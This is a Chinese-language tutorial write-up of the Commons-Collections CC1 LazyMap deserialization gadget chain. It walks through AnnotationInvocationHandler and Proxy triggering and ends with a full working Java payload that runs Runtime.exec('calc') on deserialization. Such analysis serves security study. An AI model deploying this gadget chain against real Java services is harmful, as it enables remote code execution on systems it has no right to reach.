
lazyMap chains
LazyMap 和 TransformedMap 類似,都來自于 Common-Collections 庫,并繼承 AbstractMapDecorator
LazyMap 的觸發點和 TransformedMap 唯一的差别是,TransformedMap 是在寫入元素的時候執行 transform,而 LazyMap 是在其 get 方法中執行的 factory.transform 。其實這也好了解,LazyMap 的作用是“懶加載”,在 get 找不到值的時候,它會調用 factory.transform 方法去擷取一個值
圖源:Java反序列化CommonsCollections篇
之前分析的 cc1 的鍊使用的是 TransformedMap 下的 checkSetValue 方法,但是還有其他利用鍊,本次就分析 LazyMap 下的 get 方法調用 factory.transform 方法,也是 ysoserial 中使用的方法
get 方法
整條鍊的入口點還是在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法,在檔案中發現 membersValues.get 方法參數可控,invoke 方法在對象代理是會被觸發,如果将這個對象用 Proxy 進行代理,那麼在 readObject 的時候,隻要調用任意方法,就會進入到 AnnotationInvocationHandler#invoke 方法中,進而觸發的 LazyMap#get
源碼有點問題,應該為下圖,在 invoke 中判斷了 var5 即 paramTypes 長度等于 0,也就是說需要使用無參方法
而 readObject 中的 entrySet 方法就是一個無參方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
前邊提到了 invoke 是在對象代理時觸發,Java 作為一門靜态語言,要實作類似 PHP 中魔術方法 __call,就需要用到 java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
第一個參數時 ClassLoader,預設即可,第二個參數時代理的對象集合,第三個參數是實作了 InvocationHandler 接口的對象,裡面包含了具體的邏輯
動态代理類 Proxy 實作了 serializable,所有對象代理都實作了 Proxy,是以可以序列化
構造 payload
根據之前的 payload 做一個修改,首先使用 LazyMap 替換 TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然後對 sun.reflect.annotation.AnnotationInvocationHandler 對象進行 Proxy
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
但是這裡依然不能直接對其反序列化,入口點是:sun.reflect.annotation.AnnotationInvocationHandler#readObject ,是以我們還需要再用
AnnotationInvocationHandler 對這個 proxyMap 進行包裹
handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);
最終完整 payload
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
serialize(handler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
調試執行時可以看到,transform 的參數,最終執行指令